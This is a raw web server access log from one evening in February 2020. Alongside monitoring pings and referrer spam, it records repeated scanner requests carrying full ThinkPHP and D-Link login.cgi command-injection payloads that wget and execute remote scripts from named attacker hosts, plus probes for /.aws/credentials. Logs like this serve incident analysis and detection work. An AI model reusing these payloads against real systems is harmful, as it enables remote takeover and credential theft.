151.20.76.234 - - [01/Feb/2020:18:30:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
151.20.76.234 - - [01/Feb/2020:18:30:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
119.77.123.165 - - [01/Feb/2020:18:31:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
122.228.19.79 - - [01/Feb/2020:18:31:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:47.0) Gecko/20100101 Firefox/47.0"
212.91.246.72 - - [01/Feb/2020:18:31:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:32:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
15.164.94.132 - - [01/Feb/2020:18:32:56 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
2.133.81.180 - - [01/Feb/2020:18:33:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:33:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:34:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.154.55.143 - - [01/Feb/2020:18:35:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:18:35:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:36:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:37:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.53.140.114 - - [01/Feb/2020:18:38:16 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
124.6.232.78 - - [01/Feb/2020:18:38:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:38:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.64.173.68 - - [01/Feb/2020:18:39:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:18:39:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.45.49.34 - - [01/Feb/2020:18:40:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:18:40:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:41:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.177.167 - - [01/Feb/2020:18:42:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:42:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.141.162.187 - - [01/Feb/2020:18:43:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:43:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.89.195.61 - - [01/Feb/2020:18:44:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:44:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.53.140.114 - - [01/Feb/2020:18:45:26 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:18:45:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.170.211.99 - - [01/Feb/2020:18:46:05 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [01/Feb/2020:18:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.191.95.2 - - [01/Feb/2020:18:46:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
193.57.40.38 - - [01/Feb/2020:18:46:59 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:18:47:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.172.33 - - [01/Feb/2020:18:48:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:48:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
15.164.94.132 - - [01/Feb/2020:18:49:41 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:18:49:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
193.57.40.38 - - [01/Feb/2020:18:50:48 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:18:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.180.191 - - [01/Feb/2020:18:51:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.105.156.199 - - [01/Feb/2020:18:53:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:18:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.187.2.239 - - [01/Feb/2020:18:58:13 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:18:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:18:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.210.25.45 - - [01/Feb/2020:19:00:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
94.51.77.34 - - [01/Feb/2020:19:01:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.112.137.1 - - [01/Feb/2020:19:02:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
134.101.215.104 - - [01/Feb/2020:19:04:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
213.61.218.54 - - [01/Feb/2020:19:05:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "spider"
213.61.218.54 - - [01/Feb/2020:19:05:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "spider"
212.91.246.72 - - [01/Feb/2020:19:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.23.202.171 - - [01/Feb/2020:19:06:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [01/Feb/2020:19:06:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
212.91.246.72 - - [01/Feb/2020:19:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.54.245.139 - - [01/Feb/2020:19:09:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.106.128.24 - - [01/Feb/2020:19:11:52 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:19:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.246.138.166 - - [01/Feb/2020:19:13:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:19:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.133.111.91 - - [01/Feb/2020:19:15:18 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
110.93.244.236 - - [01/Feb/2020:19:15:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
31.132.142.166 - - [01/Feb/2020:19:15:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
178.91.66.236 - - [01/Feb/2020:19:16:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.121.197 - - [01/Feb/2020:19:17:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:21:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.26.197 - - [01/Feb/2020:19:22:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:22:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:23:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:24:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
59.21.46.176 - - [01/Feb/2020:19:24:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
122.168.38.53 - - [01/Feb/2020:19:25:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:19:25:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [01/Feb/2020:19:25:50 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
46.119.171.190 - - [01/Feb/2020:19:25:50 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
46.119.171.190 - - [01/Feb/2020:19:25:50 +0100] "GET / HTTP/1.1" 200 1229 "https://vescenter.ru/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
52.53.242.123 - - [01/Feb/2020:19:25:54 +0100] "GET /.aws/credentials HTTP/1.1" 404 321 "-" "curl/7.47.0"
31.162.247.93 - - [01/Feb/2020:19:26:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:26:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:27:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:28:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:29:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
219.157.64.77 - - [01/Feb/2020:19:29:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.53.91.133 - - [01/Feb/2020:19:30:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://scan.casualaffinity.net/servicesd000/fx19.x86 -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:30:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.221.105.6 - - [01/Feb/2020:19:31:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36"
82.221.105.6 - - [01/Feb/2020:19:31:17 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "-"
82.221.105.6 - - [01/Feb/2020:19:31:19 +0100] "GET /sitemap.xml HTTP/1.1" 404 316 "-" "-"
82.221.105.6 - - [01/Feb/2020:19:31:19 +0100] "GET /.well-known/security.txt HTTP/1.1" 404 329 "-" "-"
82.221.105.6 - - [01/Feb/2020:19:31:20 +0100] "GET /favicon.ico HTTP/1.1" 404 316 "-" "python-requests/2.10.0"
185.154.130.188 - - [01/Feb/2020:19:31:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:19:31:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.179.46 - - [01/Feb/2020:19:32:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
181.16.181.120 - - [01/Feb/2020:19:32:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:19:32:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:33:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:34:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:35:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:36:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:37:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.119.171.190 - - [01/Feb/2020:19:38:34 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
46.119.171.190 - - [01/Feb/2020:19:38:34 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
46.119.171.190 - - [01/Feb/2020:19:38:38 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; FDM)"
212.91.246.72 - - [01/Feb/2020:19:38:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:39:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:19:40:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.114.81.70 - - [01/Feb/2020:19:41:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:19:41:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
